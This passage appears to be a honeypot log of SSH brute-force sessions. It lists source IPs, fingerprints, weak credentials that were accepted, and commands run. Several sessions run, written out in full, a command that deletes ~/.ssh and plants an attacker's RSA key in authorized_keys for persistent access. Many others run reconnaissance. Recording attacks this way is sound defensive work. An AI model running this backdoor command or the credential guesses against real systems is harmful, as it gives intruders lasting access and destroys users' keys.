[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 95635e006cbe

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "95635e006cbe",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-01T12:34:08.699175Z",
  "end_time": "2026-10-01T12:34:14.532068Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Pass@w0rd"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:34:05.152197 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nvidia

Record ID: 5abbd6f17311

Client Version: SSH-2.0-Go

Engagement Duration: 3.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5abbd6f17311",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:34:05.152197Z",
  "end_time": "2026-10-01T12:34:08.936111Z",
  "duration": "3.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "nvidia",
      "pass": "nvidia"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:33:58.588738 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: samba

Record ID: 65b59767a649

Client Version: SSH-2.0-Go

Engagement Duration: 2.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "65b59767a649",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:58.588738Z",
  "end_time": "2026-10-01T12:34:01.383986Z",
  "duration": "2.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "samba",
      "pass": "abcdef"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:33:50.910274 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: user / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 6fc3f43fc1c8

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6fc3f43fc1c8",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:50.910274Z",
  "end_time": "2026-10-01T12:33:53.375290Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "password"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:33:42.735157 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: ftpuser / ftpuser

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 5845b598293b

Client Version: SSH-2.0-Go

Engagement Duration: 3.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5845b598293b",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:42.735157Z",
  "end_time": "2026-10-01T12:33:46.454568Z",
  "duration": "3.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "ftpuser"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:33:34.270949 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sedu

Record ID: 936ce51c9d73

Client Version: SSH-2.0-Go

Engagement Duration: 4.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "936ce51c9d73",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:34.270949Z",
  "end_time": "2026-10-01T12:33:39.221975Z",
  "duration": "4.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sedu",
      "pass": "sedu"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:33:28.124655 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: redmine

Record ID: 4fade6c1fb71

Client Version: SSH-2.0-Go

Engagement Duration: 3.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4fade6c1fb71",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:28.124655Z",
  "end_time": "2026-10-01T12:33:31.666291Z",
  "duration": "3.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "redmine",
      "pass": "admin123!@"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

191.96.196.91

2026-10-01 12:33:26.025290 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test3

Record ID: 3e2f95212c79

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3e2f95212c79",
  "src_ip": "191.96.196.91",
  "start_time": "2026-10-01T12:33:26.025290Z",
  "end_time": "2026-10-01T12:33:27.550451Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "test3",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:33:21.235097 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: superadmin

Record ID: 34db9e8d78d4

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "34db9e8d78d4",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:21.235097Z",
  "end_time": "2026-10-01T12:33:23.824206Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "superadmin",
      "pass": "admin123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.49.239.24

2026-10-01 12:33:16.646636 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6652a57c7b4e

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "6652a57c7b4e",
  "src_ip": "2.49.239.24",
  "start_time": "2026-10-01T12:33:16.646636Z",
  "end_time": "2026-10-01T12:33:16.649761Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.112

2026-10-01 12:33:14.331768 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: 4cae2981fe12

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4cae2981fe12",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:14.331768Z",
  "end_time": "2026-10-01T12:33:16.616087Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "student",
      "pass": "redhat"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:33:06.079756 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / ch123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 9a499f760bd7

Client Version: SSH-2.0-Go

Engagement Duration: 4.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9a499f760bd7",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:33:06.079756Z",
  "end_time": "2026-10-01T12:33:10.578748Z",
  "duration": "4.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ch123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

195.178.191.5

2026-10-01 12:33:04.919947 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 7fcd89edfb95

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7fcd89edfb95",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:33:04.919947Z",
  "end_time": "2026-10-01T12:33:05.944040Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

195.178.191.5

2026-10-01 12:33:02.738313 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 98d7eecc78ab

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "98d7eecc78ab",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:33:02.738313Z",
  "end_time": "2026-10-01T12:33:04.759595Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

195.178.191.5

2026-10-01 12:33:00.587784 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456Sa

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: b61e24fc2914

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b61e24fc2914",
  "src_ip": "195.178.191.5",
  "start_time": "2026-10-01T12:33:00.587784Z",
  "end_time": "2026-10-01T12:33:05.940771Z",
  "duration": "5.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456Sa"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:32:59.034558 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / parol

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 6ef6433f2f75

Client Version: SSH-2.0-Go

Engagement Duration: 5.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6ef6433f2f75",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:59.034558Z",
  "end_time": "2026-10-01T12:33:04.634138Z",
  "duration": "5.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "parol"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:32:52.342860 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: operator

Record ID: 16bdf4b42f81

Client Version: SSH-2.0-Go

Engagement Duration: 4.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "16bdf4b42f81",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:52.342860Z",
  "end_time": "2026-10-01T12:32:56.868184Z",
  "duration": "4.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "operator",
      "pass": "operator"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:32:44.867212 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / admin123!@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 6ca4f5656d78

Client Version: SSH-2.0-Go

Engagement Duration: 6.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6ca4f5656d78",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:44.867212Z",
  "end_time": "2026-10-01T12:32:51.496471Z",
  "duration": "6.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "admin123!@"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:32:38.678379 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 28d53011d5e1

Client Version: SSH-2.0-Go

Engagement Duration: 4.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "28d53011d5e1",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:38.678379Z",
  "end_time": "2026-10-01T12:32:43.263006Z",
  "duration": "4.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "password"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

43.134.49.202

2026-10-01 12:32:36.296124 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: stefan

Record ID: f87929b4d65e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f87929b4d65e",
  "src_ip": "43.134.49.202",
  "start_time": "2026-10-01T12:32:36.296124Z",
  "end_time": "2026-10-01T12:32:38.434606Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "stefan",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:32:30.589726 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: user / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 64617c2be5c3

Client Version: SSH-2.0-Go

Engagement Duration: 4.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "64617c2be5c3",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:30.589726Z",
  "end_time": "2026-10-01T12:32:35.061391Z",
  "duration": "4.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:32:24.527880 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1234qwerty

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: c07b2b05bd27

Client Version: SSH-2.0-Go

Engagement Duration: 3.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c07b2b05bd27",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:24.527880Z",
  "end_time": "2026-10-01T12:32:28.113863Z",
  "duration": "3.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1234qwerty"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

109.160.32.112

2026-10-01 12:32:17.821474 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: john

Record ID: 42dcce537f54

Client Version: SSH-2.0-Go

Engagement Duration: 2.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "42dcce537f54",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:17.821474Z",
  "end_time": "2026-10-01T12:32:20.579214Z",
  "duration": "2.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "john",
      "pass": "john"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.112

2026-10-01 12:32:11.092182 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / zxcasdqwe

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 8a0fb3392154

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8a0fb3392154",
  "src_ip": "109.160.32.112",
  "start_time": "2026-10-01T12:32:11.092182Z",
  "end_time": "2026-10-01T12:32:13.069535Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "zxcasdqwe"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

191.96.196.91

2026-10-01 12:32:10.200000 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: itadmin

Record ID: 14ac5182919d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "14ac5182919d",
  "src_ip": "191.96.196.91",
  "start_time": "2026-10-01T12:32:10.200000Z",
  "end_time": "2026-10-01T12:32:11.664691Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "itadmin",
      "pass": "P@ssw0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
